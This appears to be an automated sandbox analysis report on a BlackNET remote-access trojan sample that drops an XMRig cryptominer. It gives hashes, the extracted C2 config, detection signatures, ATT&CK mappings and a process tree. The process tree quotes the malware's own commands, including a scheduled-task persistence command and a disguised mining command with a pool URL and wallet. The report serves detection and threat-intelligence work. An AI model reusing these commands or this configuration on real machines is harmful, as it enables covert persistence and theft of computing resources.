blacknet | 4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
23/07/2021, 05:04

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General

Target
4B71D55F16C4A497FB2457C340D5A8A6.exe
Size 4.2MB
Sample210723-5bfl1557bx
SHA256 4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364
MD5 4b71d55f16c4a497fb2457c340d5a8a6
SHA1 b8d17306aa1c757e6329bb69d976c224e585838a
SHA512 93f66aca97affda90dee4631069255800ccf40a5ab912f77814f526df95ac5a8c6a1e63f74d2ba38b147b53a8f7d258f636db9cefd9a98ebb5ac869eb79ae79f
MD5 SHA1 SHA512

Score

10^/10

blacknet xmrig otwjgz miner trojan

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes

antivm
false
elevate_uac
false
install_name
WindowsUpdate.exe
splitter
|BN|
start_name
19eb68018edbdeae69b26450d3d0915f
startup
false
usb_spread
false

Signatures

BlackNET
BlackNET is an open source remote access tool written in VB.NET.
trojan blacknet

BlackNET Payload 4 IoCs

resource	yara_rule
behavioral2/memory/2440-141-0x0000000000400000-0x000000000063C000-memory.dmp	family_blacknet
behavioral2/memory/2440-142-0x000000000063636E-mapping.dmp	family_blacknet
behavioral2/files/0x000300000001ab7a-160.dat	family_blacknet
behavioral2/files/0x000300000001ab7a-159.dat	family_blacknet

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/2440-141-0x0000000000400000-0x000000000063C000-memory.dmp	disable_win_def
behavioral2/memory/2440-142-0x000000000063636E-mapping.dmp	disable_win_def
behavioral2/files/0x000300000001ab7a-160.dat	disable_win_def
behavioral2/files/0x000300000001ab7a-159.dat	disable_win_def

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral2/memory/1580-205-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/1580-206-0x00000001402EB66C-mapping.dmp	xmrig
behavioral2/memory/1580-208-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	1580	cmd.exe
25	1580	cmd.exe

Executes dropped EXE 7 IoCs

pid	Process
2704	ATB.exe
3012	cracked.exe
2744	phone.exe
2160	phoneupdate.exe
3280	sihost64.exe
3348	userupdate.exe
3464	sihost64.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3012 set thread context of 2440	3012	cracked.exe	84
PID 3348 set thread context of 1580	3348	userupdate.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4060	2704	WerFault.exe	76

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2116	schtasks.exe
3908	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	4B71D55F16C4A497FB2457C340D5A8A6.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
4060	WerFault.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2744	phone.exe
2160	phoneupdate.exe
2160	phoneupdate.exe
3348	userupdate.exe
3348	userupdate.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeRestorePrivilege	4060	WerFault.exe
Token: SeBackupPrivilege	4060	WerFault.exe
Token: SeDebugPrivilege	4060	WerFault.exe
Token: SeDebugPrivilege	2744	phone.exe
Token: SeDebugPrivilege	2160	phoneupdate.exe
Token: SeDebugPrivilege	3348	userupdate.exe
Token: SeLockMemoryPrivilege	1580	cmd.exe
Token: SeLockMemoryPrivilege	1580	cmd.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2744	phone.exe
2744	phone.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 2352	500	4B71D55F16C4A497FB2457C340D5A8A6.exe	75
PID 500 wrote to memory of 2352	500	4B71D55F16C4A497FB2457C340D5A8A6.exe	75
PID 500 wrote to memory of 2352	500	4B71D55F16C4A497FB2457C340D5A8A6.exe	75
PID 2352 wrote to memory of 2704	2352	WScript.exe	76
PID 2352 wrote to memory of 2704	2352	WScript.exe	76
PID 2352 wrote to memory of 2704	2352	WScript.exe	76
PID 2352 wrote to memory of 3012	2352	WScript.exe	78
PID 2352 wrote to memory of 3012	2352	WScript.exe	78
PID 2352 wrote to memory of 3012	2352	WScript.exe	78
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 3012 wrote to memory of 2440	3012	cracked.exe	84
PID 2440 wrote to memory of 2744	2440	vbc.exe	85
PID 2440 wrote to memory of 2744	2440	vbc.exe	85
PID 2440 wrote to memory of 2160	2440	vbc.exe	86
PID 2440 wrote to memory of 2160	2440	vbc.exe	86
PID 2160 wrote to memory of 2224	2160	phoneupdate.exe	88
PID 2160 wrote to memory of 2224	2160	phoneupdate.exe	88
PID 2224 wrote to memory of 2116	2224	cmd.exe	90
PID 2224 wrote to memory of 2116	2224	cmd.exe	90
PID 2160 wrote to memory of 3280	2160	phoneupdate.exe	91
PID 2160 wrote to memory of 3280	2160	phoneupdate.exe	91
PID 2160 wrote to memory of 3348	2160	phoneupdate.exe	92
PID 2160 wrote to memory of 3348	2160	phoneupdate.exe	92
PID 3348 wrote to memory of 3552	3348	userupdate.exe	93
PID 3348 wrote to memory of 3552	3348	userupdate.exe	93
PID 3552 wrote to memory of 3908	3552	cmd.exe	95
PID 3552 wrote to memory of 3908	3552	cmd.exe	95
PID 3348 wrote to memory of 3464	3348	userupdate.exe	96
PID 3348 wrote to memory of 3464	3348	userupdate.exe	96
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97
PID 3348 wrote to memory of 1580	3348	userupdate.exe	97

C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe
"C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:500
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe"
    3⤵
    - Executes dropped EXE
    PID:2704
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2704 -s 868
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4060
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "{path}"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2440
    - - C:\Users\Admin\AppData\Local\Temp\phone.exe
        
        "C:\Users\Admin\AppData\Local\Temp\phone.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2744
    - - C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2160
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2224
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:2116
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        
        PID:3280
      - C:\Users\Admin\AppData\Roaming\userupdate.exe
        
        "C:\Users\Admin\AppData\Roaming\userupdate.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3348
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3552
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:3908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        
        PID:3464
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
        7⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/1580-208-0x0000000140000000-0x0000000140758000-memory.dmp

Download

memory/1580-205-0x0000000140000000-0x0000000140758000-memory.dmp

Download

memory/1580-211-0x0000025B52360000-0x0000025B52380000-memory.dmp

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memory/1580-214-0x0000025B53CF0000-0x0000025B53D10000-memory.dmp

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memory/1580-207-0x0000025B52320000-0x0000025B52340000-memory.dmp

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memory/2160-177-0x000000001CD90000-0x000000001CFAB000-memory.dmp

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memory/2160-178-0x0000000003600000-0x0000000003602000-memory.dmp

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memory/2160-170-0x0000000000D40000-0x0000000000D41000-memory.dmp

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memory/2440-153-0x00000000095D0000-0x0000000009ACE000-memory.dmp

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memory/2440-152-0x0000000009870000-0x0000000009871000-memory.dmp

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memory/2440-141-0x0000000000400000-0x000000000063C000-memory.dmp

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memory/2704-129-0x0000000000920000-0x0000000000921000-memory.dmp

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memory/2704-138-0x0000000004D50000-0x0000000004D51000-memory.dmp

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memory/2704-132-0x0000000004C70000-0x0000000004D37000-memory.dmp

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memory/2704-124-0x0000000000E50000-0x0000000000E51000-memory.dmp

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memory/2744-174-0x0000026DF0353000-0x0000026DF0354000-memory.dmp

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memory/2744-175-0x0000026DF0352000-0x0000026DF0353000-memory.dmp

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memory/2744-176-0x0000026DF0355000-0x0000026DF0357000-memory.dmp

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memory/2744-173-0x0000026DF0350000-0x0000026DF0352000-memory.dmp

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memory/2744-165-0x0000026DEDEA0000-0x0000026DEDEA1000-memory.dmp

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memory/3012-136-0x0000000001A50000-0x0000000001A52000-memory.dmp

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memory/3012-131-0x0000000007E90000-0x0000000007E91000-memory.dmp

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memory/3012-125-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

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memory/3012-128-0x00000000081F0000-0x00000000081F1000-memory.dmp

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memory/3012-130-0x0000000007DF0000-0x0000000007DF1000-memory.dmp

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memory/3012-135-0x000000000A250000-0x000000000A251000-memory.dmp

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memory/3012-137-0x0000000007CF0000-0x00000000081EE000-memory.dmp

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memory/3012-139-0x0000000006AA0000-0x0000000006D36000-memory.dmp

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memory/3012-140-0x00000000071D0000-0x0000000007414000-memory.dmp

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memory/3280-193-0x0000000001DF0000-0x0000000001DF2000-memory.dmp

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memory/3280-191-0x0000000001740000-0x0000000001742000-memory.dmp

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memory/3280-185-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

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memory/3348-197-0x000000001C2F0000-0x000000001C2F1000-memory.dmp

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memory/3348-204-0x000000001C2E0000-0x000000001C2EA000-memory.dmp

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memory/3348-194-0x000000001C380000-0x000000001C382000-memory.dmp

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memory/3464-213-0x000000001CA50000-0x000000001CA52000-memory.dmp

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